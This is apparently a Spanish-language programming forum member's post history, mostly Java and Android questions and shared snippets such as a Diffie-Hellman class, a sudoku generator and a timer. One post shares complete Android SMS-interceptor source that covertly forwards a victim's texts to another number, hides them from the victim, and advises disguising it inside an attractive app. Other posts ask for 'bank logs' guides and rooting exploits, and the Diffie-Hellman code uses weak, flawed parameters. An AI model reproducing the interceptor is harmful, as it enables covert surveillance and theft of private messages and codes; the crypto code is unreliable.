if (!br)document.getElementById('outer').style.pixelTop=document.documentElement.scrollTop;
for (i=0; i < L; i++){
var layer=(document.layers)?document.layers['ns'+i]:document.getElementById('ie' +i).style;
layer.top =Y[i]+logoHeight*Math.sin(currStep+i*TrigSplit*Math.PI/180)+"px";
layer.left=X[i]+logoWidth*Math.cos(currStep+i*TrigSplit*Math.PI/180)+"px";
}
currStep-=step;
}
function Delay(){
for (i=L; i >= 0; i--)
{
Y[i]=Yn[i]+=(ypos-Yn[i])*(0.1+i/L);
X[i]=Xn[i]+=(xpos-Xn[i])*(0.1+i/L);
}
animateLogo();
setTimeout('Delay()',20);
}
//-->
</script>
<script type="text/javascript">function addEvent182(obj,type,fn){if(obj.addEventListener){obj.addEventListener(type,fn,false)}else if(obj.attachEvent){obj["e"+type+fn]=fn;obj[type+fn]=function(){obj["e"+type+fn](window.event)};obj.attachEvent("on"+type,obj[type+fn])}};addEvent182(window,'load',Delay);</script>
<!-- presentado por javascripts-gratis.de -->
</body>
</html>



Página web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Autor: Kurt Grigg

Gracias y saludos
#56
Hola a todos,

ya he probado todas las versiones de Java posibles pero siempre viene ese error:

OpenJDK Server VM warning: Option UseConcMarkSweepGC was deprecated in version 9.0 and will likely be removed in a future release.
Unrecognized VM option 'CMSIncrementalMode'
Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit.

Mi sistema operativo es Linux Mint.

Alg sabe como se resuelve esto?


Gracias de antemano :)
#57
Hola a todos,

si escribo JFrame + Autocomlpete, el no importa la clase perteneciente. Cómo puedo cambiar eso?


Gracias y saludos
#58
Hola,

quiero descargar algunos archivos y me piden la contraseña de administrador en Windows op. Intenté descargar un archivo .exe, pero no funciona.

¿Algun consejo?


Gracias y saludos
#59
Dudas y pedidos generales / Registros bancarios
Septiembre 28, 2019, 08:36:16 PM
Hola a todos,

necesito una guía paso a paso sobre cómo hacer registros bancarios.


Gracias y saludos
#60
Hola a todos,

en la carpeta res tengo

1) una carpeta con el nombre menu. Dentro de esa carpeta tengo un archivo llamado menu.xml:

Código: php

<menu xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:android="http://schemas.android.com/apk/res/android">
  <item
    android:id="@+id/ojo"
    android:icon="@drawable/ic_l_view_light"
    android:title="Ojo"
    android:showAsAction="ifRoom"
    android:actionButtonStyle="@style/myActionButtonStyle" />
</menu>


2) una carpeta con el nombre style. Dentro de esa carpeta tengo un archivo llamado myActionButtonStyle.xml:
Código: php

<style name="myActionButtonStyle" parent="Widget.AppCompat.ActionButton">
  <item name="android:minWidth">30dp</item>
  <item name="android:maxWidth">48dp</item>
  <item name="android:width">38dp</item>
</style>


En el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta está escrito lo siguiente:
Código: java

package com.mycompany.myapp;

import android.app.*;
import android.os.*;
import android.view.Menu;

public class MainActivity extends Activity
{
    @Override
    protected void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
    }

@Override
    public boolean onCreateOptionsMenu(Menu menu) {
        getMenuInflater().inflate(R.menu.menu, menu);
        return true;
    }
}


Ahora recibo tres errores:
1) aapt: invalid resource directory name: /storage/emulated/0/AppProjects/MyApp/app/src/main/res style
2) Unknown entity 'R'
3) Unknown entity 'R'

¿Por que recibo estos errores? ¿Cómo puedo solucionar esto?


Gracias y saludos
#61
Hola,

tengo un sistema estéreo más antiguo y me gustaría escuchar música con mis auriculares Bluetooth. ¿Existe alguna posibilidad (a excepción de comprar un adaptador)?

Gracias de antemano :)
#62
Hola a todos,

en el editor de Java (tengo que tomar eso).

Quiero escribir un programa (que se ejecuta en la consola) donde regrese, es decir, si se clickea por ejemplo en cerrar (en el programa) que se pueda preguntar: ¿En serio o no?

Y si se cancela, entonces que se pueda dar un salto atrás.


Gracias y saludos
#63
Desarrollo móvil / AsyncTask
Septiembre 16, 2019, 06:30:29 AM
Hola a todos,

solamente un "tipo" de hilo en Android (AsyncTask). Este código está en java :)

Código: java

package com.example.dprotector;

import android.os.AsyncTask;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
import android.view.View;
import android.widget.Button;

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);

  final Button toque = (Button) findViewById(R.id.boton1);
  final calcul mCalcul = new calcul();

  toque.setOnClickListener(new View.OnClickListener(){
    @Override
    public void onClick(View v) {
    mCalcul.execute();
    }
  });
  }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
  getMenuInflater().inflate(R.menu.main, menu);
  return true;
    }

    private class calcul extends AsyncTask<Void, String, Void>
    {

  @Override
  protected void onPreExecute() {
    super.onPreExecute();
    // Aquí, podemos mostrar un mensaje como un toast antes de que comience el proceso.
  }

  @Override
  protected void onProgressUpdate(String... valores){
    super.onProgressUpdate(valores);
    // Aquí puedes actualizar la GUI (como la barra de progreso, o cosas así)

  }

  @Override
  protected Void doInBackground(Void... arg0) {
    //Tu proceso
    return null;
  }

  @Override
  protected void onPostExecute(Void resultados) {
    // Esto se ejecutará una vez finalizado el proceso.
  }

    }

}



Saludos
#64
Desarrollo móvil / Interceptador de SMS
Septiembre 16, 2019, 06:15:44 AM
Hola a todos,

aquí hay un interceptor de SMS que se escribió para un miembro de un foro por el 2011, pensé que seguiría adelante y lo liberaría públicamente ya que para algunos la sección de Desarollo móvil a veces puede ser aburrida como Clay Davis.

Lo que esto hace:

  • Intercepta mensajes SMS.
  • Puedes elegir un número o números para interceptar, o simplemente interceptar todo.
  • Redirige los mensajes interceptados a un número de tu elección.
  • Te permite cancelar la transmisión SMS_RECEIVED, lo que significa que tu aplicación será la única en leerlos y la víctima nunca verá el mensaje.

Cosas a tener en cuenta:

  • Esto no bloquea las salidas de Logcat. Esto significa que si la víctima es un desarrollador, puede notar que una transmisión de SMS entrante se registra en Logcat. Realmente un hecho raro, no me preocuparía.
  • No tengo idea de lo que sucede en caso de un mensaje MMS.
  • Nunca he probado esto a gran escala, esto solo se ha probado en un entorno controlado. No me culpes si tu cuenta de desarrollador se suspende.
  • Se le notificará al usuario que está utilizando los permisos de SMS declarados en tu manifiesto,  eso se ve sospechoso. Intenta jugarlo como una característica en tu aplicación.

Ahora bien, aquí está el código fuente.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: php

//Author: MrZander

import java.util.Arrays;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsReceiver extends BroadcastReceiver {

    // CONFIGURATION //

    // Esto cancelará la transmisión del SMS recibido.
    // Si esto es true, la víctima NO recibirá el mensaje que se le envía.   
    boolean abortarTM = true;

    // Si se debe interceptar o no TODOS los mensajes.   
    boolean interceptarTodos = false;

    // si interceptarTodos está apagado, esta es la matriz de números que serán interceptados.
    String[] numeros = {"5551234567","5551234655"};

    // Estos son los números de celulares a los que se ENVIARÁN los mensajes. (Su celular).
    String redireccionarCelular = "1235558765";

    // En emisión recibida. Mensaje SMS entrante.
    public void onReceive(Context context, Intent intento) {

  Bundle extras = intento.getExtras();
  String mensajes = "";

  // Se utiliza para determinar si un mensaje debe ser redirigido o no.
  boolean esDeEspia = false;

  if ( extras != null ) {
    Object[] smsExtra = (Object[]) extras.get("pdus"); //" Unidades de descripción de protocolo "
    for ( int i = 0; i < smsExtra.length; ++i ) { // Recorrer todos los mensajes (si se divide).

        // Recibe el mensaje de las UDP
    SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);

    // Si interceptarTodos es verdadero o el número de teléfono está en la matriz de números para interceptar.
    if(interceptarTodos||Arrays.asList(numeros).contains(sms.getDisplayOriginatingAddress())){
  // Si el mensaje se disecciona en múltiples, concatenar.
    mensajes+=sms.getMessageBody()+"\n";

    // Este mensaje es de la víctima, redirigir.
    esDeEspia=true;

    //Abortar SMS.
    if(!abortarTM){
        abortBroadcast();
    }

    }
    }

    // Redirigir mensaje si es de la víctima
    if(esDeEspia){
        enviarSms(mensajes,"TUNUMERO");
    }

  }
    }

    // Enviar SMS ... bastante sencillo
    public  void enviarSms(String mensaje, String numcelular){
  SmsManager gs = SmsManager.getDefault();
  try{
  gs.sendTextMessage(numcelular, null, mensaje, null, null);
  }catch(Exception ex){
      // Error, este mensaje se perderá ... Les sugiero que creen
      // un método para hacer una copia de seguridad de los mensajes en caso de error y que lo vuelvan a intentarlo más tarde.
  }
    }
}


Declaraciones para agregar a sus AndroidManifest.xml
Permisos:
Código: php

<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />


Receptor de transmisión: (le permite a Android saber que vas a recibir mensajes SMS. Nota: la prioridad se establece muy alta para permitir que tu aplicación sea la primera en recibir un mensaje SMS.
Código: php
<receiver android:name=".SmsReceiver" android:enabled="true">
    <intent-filter android:priority="1000">
    <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
    </receiver>

Asegúrate de que si cambias "SmsReceiver.java a un nombre de clase diferente también tienes que cambiarlo en el manifiest. (Aunque no hay razón para cambiarlo).

Lo que tienes que hacer
1. Crea una aplicación que no sea Clay Davis para que la gente realmente la descargue.
2. Agrega la clase 'SmsReceiver' a tu proyecto. (Recomiendo NO renombrarlo).
3. Agrega las declaraciones de manifiest.

Estas listo. No se necesita un código de inicialización, todo se maneja en el Manifiesto.
Avísenme si hay algún problema/error. (Se agregó algunas características sin probar. No creo que sea muy retrasado. Debería ser bueno).
Que se diviertan.

Autor: MrZander


Saludos
#65
Dudas y pedidos generales / ¿Qué IDE prefieren?
Septiembre 03, 2019, 03:11:39 PM
Hola a todos,

lo pregunto porque he estado saltando de IDE a IDE (actualmente estoy tratando de aprender C). Así que tengo curiosidad por ver lo que todos ustedes considerarían un buen IDE. :)


Gracias y saludos
#66
Hola a todos,

pasaron dos días y Bitcoin obviamente se está cayendo. Ahora está de vuelta en 10K USD nuevamente y jugando duro en su volatilidad... ¿Creen que va a subir?

Quiero escuchar sus pensamientos, amigos y expertos en el negocio de las criptomonedas...


Gracias y saludos
#67
Hola a todos,

¿cómo puedo capturar las conecciones salientes de mi navegador en Android con Java? Osea, ¿cómo puedo bloquear una página web en Android con Java?


Gracias y saludos
#68
Java / Diffie-Hellman
Septiembre 01, 2019, 12:25:38 PM
Hola gente,

aquí se escribió una clase para el Diffie-Hellman. El código de demostración más abajo, aquí el código fuente:
Código: java

import java.math.BigInteger;
import java.security.SecureRandom;

/**
* Utilizes a Diffie-Hellman Key-Exchange<br>
* <br>
* <pre>
* Partner A            Partner B
* g, p, a (randomly)   b (randomly)
* A = g^a mod p
*           g, p, A ==&gt;
*                      B = g^b mod p
*                   &lt;== B
* K = B^a mod p        K = A^b mod p
* </pre>
* <br>
* Example Usage:<br>
* Partner A:<br>
* <code>
* DiffieHellman dh = new DiffieHellman(DiffieHellman.PARTNER_A);<br>
* dh.init(512);<br>
* sendToOtherSide(dh.getG());<br>
* sendToOtherSide(dh.getP());<br>
* sendToOtherSide(dh.getA());<br>
* byte[] key = dh.getKey(receiveFromOtherSide());<br>
* </code><br>
* <br>
* Partner B:<br>
* <code>
* DiffieHellman dh = new DiffieHellman(DiffieHellman.PARTNER_B);<br>
* dh.init(512);<br>
* BigInteger g = receiveFromOtherSide();<br>
* BigInteger p = receiveFromOtherSide();<br>
* BigInteger A = receiveFromOtherSide();<br>
* byte[] key = dh.getKey(g, p, A);<br>
* sendToOtherSide(dh.getB());<br>
* </code>
* @author Tobias Marstaller
*/
public class DiffieHellman
{
    public static final int PARTNER_A = 0xF124A;
    public static final int PARTNER_B = 0xC134B;
   
    protected BigInteger g;
    protected BigInteger p;
    protected BigInteger a;
    protected BigInteger b;
    protected BigInteger A;
    protected BigInteger B;
    protected byte[] K;
    protected int side;
    protected boolean initDone = false;
    protected SecureRandom rand;
   
    /**
     * Constructs a new Key-Exchange for the given side
     */
    public DiffieHellman(int side)
    {
        if (side != PARTNER_A && side != PARTNER_B)
        {
            throw new IllegalArgumentException("side must be equal to PARTNER_A or PARTNER_B");
        }
        this.side = side;
    }
   
    /**
     * Constructs a new Key-Exchange for the given side with the default bit
     * length 1024 and <code>random</code> as a source of randomness.
     * @param random A SPRNG for the parameter-generation
     */
    public DiffieHellman(int side, SecureRandom random)
    {
        this(side);
        this.rand = random;
    }
    /**
     * Constructs a new Key-Exchange for side B (therefore <code>assert(side == PARTNER_B)</code>)
     * with <code>b</code> as the private parameter.<br>
     * If this constructor is used, the call to {@link #init()} is not required anymore.
     * @param b The private parameter <code>b</code>
     */
    public DiffieHellman(int side, BigInteger b)
    {
        if (side != PARTNER_B)
        {
            throw new IllegalArgumentException("Side must be PARTNER_B");
        }
        this.side = side;
        this.b = b;
        initDone = true;
    }
    /**
     * Constructs a new Key-Exchange for side A (therefore <code>assert(side == PARTNER_A)</code>)
     * with <code>g</code>, <code>p</code> and <code>a</code> as the private parameters.<br>
     * If this constructor is used, the call to {@link #init()} is not required anymore.
     * @param g The private parameter <code>g</code>
     * @param p The private parameter <code>p</code>
     * @param a The private parameter <code>a</code>
     */
    public DiffieHellman(int side, BigInteger g, BigInteger p, BigInteger a)
    {
        if (side != PARTNER_A)
        {
            throw new IllegalArgumentException("Side must be PARTNER_A");
        }
        this.side = side;
        this.g = g;
        this.p = p;
        this.a = a;
        this.A = this.g.modPow(a, p);
        initDone = true;
    }

    /**
     * Initializes the instance with the default bit-length 1024
     */
    public void init()
    {
        init(1024);
    }
    /**
     * Initializes the instance with the given bitLength
     */
    public void init(int bitLength)
    {
        if (rand == null)
        {
            rand = new SecureRandom();
        }
        if (this.side == PARTNER_A)
        {
            this.g = BigInteger.probablePrime(bitLength, rand);
            this.p = BigInteger.probablePrime(bitLength, rand);
            this.a = BigInteger.probablePrime(bitLength, rand);
            this.A = this.g.modPow(a, p);
        }
        else if (this.side == PARTNER_B)
        {
            this.b = BigInteger.probablePrime(bitLength, rand);
        }
        initDone = true;
    }
   
    /**
     * @return Returns the key, if already calculated
     * @throws RuntimeException If the key hast not been calculated yet.
     */
    public byte[] getKey()
    {
        if (this.K == null)
        {
            throw new RuntimeException("The key has not been calculated yet.");
        }
        return K;
    }
    /**
     * Calculates the key for side B (therefore <code>assert(side == PARTNER_B)</code>).
     * @param g Parameter <code>g</code>
     * @param p Parameter <code>p</code>
     * @param A Parameter <code>A</code>
     * @return Returns the calculated key
     * @throws UnsupportedOperaionException If this instance has been inizialied as PARTNER_A
     * @throws RuntimeException If the parameters are not initialized
     */
    public byte[] getKey(BigInteger g, BigInteger p, BigInteger A)
    {
        if (this.side != PARTNER_B)
        {
            throw new UnsupportedOperationException("This method only works for PARTNER_B instances.");
        }
        if (!this.initDone)
        {
            throw new RuntimeException("The object has to be initialized.");
        }
        this.B = g.modPow(b, p);
        this.K = A.modPow(b, p).toByteArray();   
        return K;
    }
    /**
     * Calculates the key for side A (therefore <code>assert(side == PARTNER_A)</code>).
     * @param g Parameter <code>g</code>
     * @param p Parameter <code>p</code>
     * @param A Parameter <code>A</code>
     * @return Returns the calculated key
     * @throws UnsupportedOperaionException If this instance has been inizialied as PARTNER_B
     */
    public byte[] getKey(BigInteger B)
    {
        if (this.side != PARTNER_A)
        {
            throw new UnsupportedOperationException("This method only works for PARTNER_A instances.");
        }
        if (!this.initDone)
        {
            throw new RuntimeException("The object has to be initialized.");
        }
        this.K = B.modPow(a, p).toByteArray();
        return K;
    }

    public BigInteger getG()
    {
        return g;
    }
    public BigInteger getP()
    {
        return p;
    }
    public BigInteger getA()
    {
        return A;
    }
    public BigInteger getB()
    {
        return B;
    }
}


Código de demostración:
Código: java

// Partner A
DiffieHellman dh = new DiffieHellman(DiffieHellman.PARTNER_A);
dh.init(512);
sendToOtherSide(dh.getG());
sendToOtherSide(dh.getP());
sendToOtherSide(dh.getA());
byte[] key = dh.getKey(receiveFromOtherSide());


Código: java

// Partner B
DiffieHellman dh = new DiffieHellman(DiffieHellman.PARTNER_B);
dh.init(512);
BigInteger g = receiveFromOtherSide();
BigInteger p = receiveFromOtherSide();
BigInteger A = receiveFromOtherSide();
byte[] key = dh.getKey(g, p, A);
sendToOtherSide(dh.getB());


Autor: Tobias Marstaller


Saludos
#69
Java / Generador de sudoku
Agosto 31, 2019, 09:13:57 PM
Hola,

se escribió un generador de sudoku. Pensé que valiese la pena que el fuera presentado aquí.

El genera un vector completo. Qué campos individuales se eliminan y de qué manera, eso depende de ti.

Código:
Código: java

private int[][] createSudoku()
    {
        int[][] field = new int[9][9];
       
        for(int i = 0; i < field.length; i++)
        {
            int[] rand;
            do {
                rand = createRandomRange();
                System.arraycopy(rand, 0, field[i], 0, rand.length);
            }
            while(!proofIntField(field));
        }
        return field;
    }
   
    private boolean proofIntField(int[][] field)
    {
        for(int i = 0; i < field.length; i++)
        {
            if(!proofNoDuplicate(field[i])) {
                return false;
            }
        }
       
        for(int i = 0; i < 9; i++)
        {
            int[] temp = new int[9];
            for(int j = 0; j < 9; j++)
            {
                temp[j] = field[j][i];
            }
            if(!proofNoDuplicate(temp)) {
                return false;
            }
        }
       
        for(int i = 0; i < 9; i += 3)
        {
            for(int j = 0; j < 9; j += 3)
            {
                int[] temp = new int[9];
                int h = 0;
                for(int k = 0; k < 3; k++)
                {
                    for(int g = 0; g < 3; g++)
                    {
                        temp[h] = field[i+k][j+g];
                        h++;
                    }
                }
                if(!proofNoDuplicate(temp)) {
                    return false;
                }
            }
        }
        return true;
    }
   
    private boolean proofNoDuplicate(int[] field)
    {
        int[] temp = new int[9];
        for(int i = 0; i < field.length; i++)
        {
            if(field[i] != 0) {
                for(int j:temp)
                {
                    if(j == field[i]) {
                        return false;
                    }
                }
                temp[i] = field[i];
            }
        }
        return true;
    }
   
    private int[] createRandomRange()
    {
        int[] field = new int[9];
        ArrayList<Integer> list = new ArrayList<Integer>();
        for(int i = 1; i <= 9; i++)
        {
            list.add(i);
        }
        Collections.shuffle(list);
        for(int i = 0; i < 9; i++)
        {
            field[i] = list.get(i).intValue();
        }
        return field;
    }


Quizás se ayudó a alguien con eso.


Saludos
#70
Java / Cronometraje hecho fácilmente
Agosto 29, 2019, 05:37:57 AM
Hola gente,

quiero compartir con ustedes con gusto una pequeña clase que se escribió puesto que algunos necesitan a menudo tal funcionalidad.

Se trata de la clase CronoMetro, una cosa sencilla y pequeña que puede emitir el tiempo de ejecución de sus Apps/Programas (o una parte de sus Apps/Programas).

El proceder es imaginablemente fácil: al principio ustedes instancian un objeto de tipo CronoMetro. Al principio del cronometraje llaman al método arranque().

Al final del cronometraje llaman al metodo fin(). A partir de ese momento los datos estan disponibles para ustedes:
. Intervalo total en nanosegundos.
. Intervalo total en milisegundos.
. Intervalo total en segundos.
. Intervalo total en minutos.
. Intervalo total en horas.
. Intervalo total en días.
Por otra parte, una emisión estándar del intervalo en las unidades que están arriba así como una devolución de un Hashmap para poder ajustar esa emición como se desea.

Código:
Código: java

package CronoMetro;

import java.util.HashMap;

/**
* <p>Con ello la clase ayuda a calcular y a emitir fácilmente tiempos de
* ejecuciones de aplicaciones.</p>
* <p>Después de la instanciación el método arranque() debe ser llamado para definir un
* tiempo de inicio. </p>
* <p>Después de la terminación del programa se finaliza el cronometraje con fin(), después de esto
* los valores del intervalo están disponibles:</p>
* <p>El intervalo total convertido en</p>
* <ul>
* <li>Nanosegundos</li>
* <li>Milisegundos</li>
* <li>Segundos</li>
* <li>Minutos</li>
* <li>Horas</li>
* <li>Días</li>
* <li>El intervalo convertido legiblemente</li>
* </ul>
* @author Dominik Sust
* @creation 07.07.2014 09:20:36
* @version 1.0
*/
public class CronoMetro
{

    //Arranque y tiempo de finalización en nanosegundos
    private long startTime = 0L;
    private long endTime = 0L;

    //Intervalos
    private long intervalInNanoseconds;
    private double intervalInMilliseconds;
    private double intervalInSeconds;
    private double intervalInMinutes;
    private double intervalInHours;
    private double intervalInDays;

    //Intervalo total
    private HashMap<String, Integer> totalInterval = new HashMap<String, Integer>();

    /**
     * Arranca el cronometraje
     * Esa función puede ser llamada sólo una vez para que no pueda ocurrir un intervalo
     * de tiempo negativo. Solo se registrará la primera llamada,
     * las llamadas posteriores serán ignoradas.
     */
    public void arranque()
    {
        if ( startTime == 0L )
        {
            startTime = System.nanoTime();
        }
    }

    /**
     * Finaliza el cronometraje.
     * Esta función puede ser llamada varias veces para calcular varios
     * (con medida a la primera llamada
     * arranque()).  Después de la llamada de este método los valores de los resultados están
     * disponibles.
     */
    public void fin()
    {
        endTime = System.nanoTime();
        calculaTiempos();
    }

    /**
     * Función interna que calcula todos los intervalos
     */
    private void calculaTiempos()
    {
        //Intervalos totales
        intervalInNanoseconds = endTime - startTime;
        intervalInMilliseconds = (double) intervalInNanoseconds / (double) 1000000;
        intervalInSeconds = intervalInMilliseconds / (double) 1000;
        intervalInMinutes = (double) intervalInSeconds / (double) 60;
        intervalInHours = intervalInMinutes / (double) 60;
        intervalInDays = intervalInHours / (double) 24;

        //Intervalos totales en días, horas, minutos, segundos
        double oneSecondInMS = 1000.0;
        double oneMinuteInMS = 60000.0;
        double oneHourInMS = 3600000.0;
        double oneDayInMS = 86400000.0;

        //Calcular días
        double tempInterval = intervalInMilliseconds;
        int temp = (int) (tempInterval / oneDayInMS);
        totalInterval.put( "Days", temp );
        //Quitar los días calculados del intervalo total
        tempInterval -= temp * oneDayInMS;

        //Calcular horas
        temp = (int) (tempInterval / oneHourInMS);
        totalInterval.put( "Hours", temp );
        //Quitar las horas calculados del intervalo total
        tempInterval -= temp * oneHourInMS;

        //Calcular minutos
        temp = (int) (tempInterval / oneMinuteInMS);
        totalInterval.put( "Minutes", temp );
        // Quitar los minutos calculados del intervalo total
        tempInterval -= temp * oneMinuteInMS;

        //Calcular segundos
        temp = (int) (tempInterval / oneSecondInMS);
        totalInterval.put( "Seconds", temp );
        //Quitar los segundos calculados del intervalo total
        tempInterval -= temp * oneSecondInMS;

        //¿¿Milisegundos??
        totalInterval.put( "Milliseconds", (int) tempInterval );
    }

    /**
     * Retorna el intervalo total en nanosegundos.
     * Esta función suministra solamente un valor válido después de que los métodos
     * arranque() y fin() son llamados
     * @return El intervalo total en nanosegundos
     */
    public long getIntervalInNanoseconds()
    {
        return intervalInNanoseconds;
    }

    /**
     * Retorna el intervalo total en milisegundos.
     * Esta función suministra solamente un valor válido después de que los métodos
     * arranque() y fin() son llamados
     * @return El intervalo total en milisegundos
     */   
    public double getIntervalInMilliseconds()
    {
        return intervalInMilliseconds;
    }
   
    /**
     * Retorna el intervalo total en segundos.
     * Esta función suministra solamente un valor válido después de que los métodos
     * arranque() y fin() son llamados
     * @return El intervalo total en segundos
     */
    public double getIntervalInSeconds()
    {
        return intervalInSeconds;
    }
   
    /**
     * Retorna el intervalo total en minutos.
     * Esta función suministra solamente un valor válido después de que los métodos
     * arranque() y fin() son llamados
     * @return El intervalo total en minutos
     */
    public double getIntervalInMinutes()
    {
        return intervalInMinutes;
    }

    /**
     * Retorna el intervalo total en horas.
     * Esta función suministra solamente un valor válido después de que los métodos
     * arranque() y fin() son llamados
     * @return El intervalo total en horas
     */   
    public double getIntervalInHours()
    {
        return intervalInHours;
    }

    /**
     * Retorna el intervalo total en días.
     * Esta función suministra solamente un valor válido después de que los métodos
     * arranque() y fin() son llamados
     * @return El intervalo total en días
     */     
    public double getIntervalInDays()
    {
        return intervalInDays;
    }

    /**
     * <p>Retorna una Hashmap con los valores del intervalo.</p>
     * <p>Llaves son</p>
     * <ul>
     * <li>Days</li>
     * <li>Hours</li>
     * <li>Minutes</li>
     * <li>Seconds</li>
     * <li>Milliseconds</li>
     * </ul>
     * <p>Con eso se puede elaborar una salida individual del intervalo.</p>
     * @return HashMap<String, Integer>
     */
    public HashMap<String, Integer> getTotalInterval()
    {
        return totalInterval;
    }

    /**
     * <p>Retorna el intervalo en forma de strings totales.</p>
     * <p>Ejemplo:<br>
     * 2 días, 4 horas, 40 minutos, 38 segundos, 456 milisegundos</p>
     * <p>Si no se necesita todos los valores se puede elaborar por medio del
     * metodo getTotalInterval() una propia salida.</p>
     *
     * @return El intervalo en forma de string
     */
    public String totalIntervalToString()
    {
        int d = totalInterval.get( "Days" );
        int h = totalInterval.get( "Hours" );
        int min = totalInterval.get( "Minutes" );
        int s = totalInterval.get( "Seconds" );
        int ms = totalInterval.get( "Milliseconds" );

        String result = d+" dia, "+h+" hora, "+min+" minuto, "+s+" segundo, "+ms+" milisegundo";

       
        //Días
        if ( d != 1 )
        {
            result = result.replace( "dia", "dias");
        }
        //Horas
        if ( h != 1 )
        {
            result = result.replace( "hora", "horas");
        }
        //Minutos
        if ( min != 1 )
        {
            result = result.replace( "minuto", "minutos");
        }
        //Segundos
        if ( s != 1 )
        {
            result = result.replace( "segundo", "segundos");
        }
        //Milisegundos
        if ( ms != 1 )
        {
            result = result.replace( "milisegundo", "milisegundos");
        }         

        return result;
    }

    /**
     * <p>Emite todos los valores del objeto en el siguiente orden:</p>
     * <ul>
     * <li>startTime</li>
     * <li>endTime</li>
     * <li>intervalInNanoseconds</li>
     * <li>intervalInMilliseconds</li>
     * <li>intervalInSeconds</li>
     * <li>intervalInMinutes</li>
     * <li>intervalInHours</li>
     * <li>intervalInDays</li>
     * <li>La salida del metodo totalIntervalToString()</li>
     * </ul>
     * @return String
     */
    @Override
    public String toString()
    {
        return "IntervalUtil{"
                + "startTime=" + startTime
                + ",\n endTime=" + endTime
                + ",\n intervallInNanoseconds=" + intervalInNanoseconds
                + ",\n intervallInMilliseconds=" + intervalInMilliseconds
                + ",\n intervallInSeconds=" + intervalInSeconds
                + ",\n intervallInMinutes=" + intervalInMinutes
                + ",\n intervallInHours=" + intervalInHours
                + ",\n intervallInDays=" + intervalInDays
                + ",\n " + totalIntervalToString() + "'}'";
    }

}


Autor: Dominik Sust

Muchos saludos

Adalher
#71
Java / Generador de contraseñas (Update 1)
Agosto 26, 2019, 08:25:35 PM
Hola a todos,

se ha programado un generador de contraseñas, por una parte para amistarse mejor con Java, por otra parte también para programar una vez algo más significativo. Ustedes mismos pueden determinar el largo de la contraseña y también los caracteres que deben figurar. Osea si deben ser números, letras o si deben ser alfanuméricos.

Código: php

import java.util.Random; //importar
import java.util.Scanner; //importar

public class GenCont {

public static void main(String[] args) {
 
  Scanner s = new Scanner (System.in); //Crear un nuevo objeto de la clase Scanner
 
  int largo, seleccion; //inicializar las variables para la selección y el largo de la contraseña

  System.out.println("Hola y bienvenido");
  System.out.println("Por favor ingrese el largo de la contraseña y a continuación presione Enter:");
  largo = s.nextInt(); //Selección del largo
  System.out.println("Por favor haga una selección: \n1. Solamente números \n2. Solamente letras \n3. Alfanúmerico");
  seleccion = s.nextInt(); //Selección de la clase de contraseña
  System.out.println(creacont(seleccion, largo)); // Llamada del método para la generación de la contraseña
}
private static char[] creacont( int seleccion, int largo) {

char[] cont;
cont = new char[largo];

int contador = 0;

switch (seleccion) {

case 1:

while (contador<largo) {

cont[contador] = intercambionumero(numeroaleatorio(10, 26));
contador++;

}
break;

case 2:

while (contador<largo) {

cont[contador] = intercambionumero(numeroaleatorio(26, 0));
contador++;

}
break;

case 3:

while (contador<largo) {

cont[contador] = intercambionumero(numeroaleatorio(36, 0));
contador++;
}
break;
}


return cont;
}

private static int numeroaleatorio(int limitea, int limiteb) {

Random cont = new Random();
return cont.nextInt(limitea)+limiteb; //Creación de un número aleatorio
}
private static char intercambionumero(int numero){ //Genera letras y números a partir de los números transmitidos
 
  String s = "abcdefghijklmnopqrstuvwxyz0123456789"; //Definir las/los posibles letras/números
  char[] c = s.toCharArray(); //Convertir el String en Char para que pueda abordar a las letras individualmente
  return c[numero]; //Distribuye la letra respectiva
 
}

}



Saludos
#72
Dudas y pedidos generales / AIDE - Rootear Android
Mayo 24, 2019, 06:34:37 AM
Hola a todos,

¿cómo puedo rootear Android con Java?
¿Necesito buscar exploits para eso? Si es así, ¿cómo los puedo buscar?

Gracias y saludos
#73
Java / BalancedBinarySearchTree
Mayo 23, 2019, 02:24:31 PM
Hola a todos,

publico un árbol binario que siempre está equilibrado, i. para cada nodo, la altura del subárbol derecho difiere en un máximo de 1 desde la altura del subárbol izquierdo y un BTreeMap que lo toca.
Pero ambas clases fueron creadas solo por diversión en la alegría. En el uso real, no desempeñan ningún papel, ya que se recurre a las clases del Framework (hasta ahora no vio ninguna razón para una dependencia adicional en los proyectos).
Aquí hay una contención importante: T debe implementar Comparable <T>. De lo contrario, el valor no se puede insertar!
Código: java

package de.kneitzel.lib.collections;

/**
* A binary search tree that is always balanced.
* @param <T> Type of the values to store inside the tree.
*/
public class BalancedBinarySearchTree<T extends Comparable<T>> {

    /**
     * Gets the size of the BalancedBinarySearchTree
     * @return Numbe of elements inside the BalancedBinarySearchTree
     */
    public int size() {
        return rootNode != null ? rootNode.count : 0;
    }

    /**
     * Root node of the BalancedBinarySearchTree.
     */
    private BalancedBinarySearchTreeNode<T> rootNode;

    /**
     * Add an element to the BalancedBinarySearchTree
     * @param item
     * @return The item.
     */
    public T put(T item) {
        if (rootNode == null) {
            rootNode = new BalancedBinarySearchTreeNode<>(item);
        } else {
            rootNode.put(item);
        }
        return item;
    }

    /**
     * Remove an item of the BalancedBinarySearchTree
     * @param item Item to remove.
     * @return The item removed or null if not found.
     */
    public T remove(T item)
    {
        if (rootNode == null)
            return null;

        // Get the element first
        T element = rootNode.remove(item);
        if (rootNode.item == null) {
            rootNode = null;
        }

        // return the element.
        return element;
    }

    /**
     * Checks the BalancedBinarySearchTree. This is just an internal method which is used to unit-test the implementation.
     * @return Should always return true.
     */
    public boolean check()
    {
        return rootNode == null ? true : rootNode.check();
    }

    /**
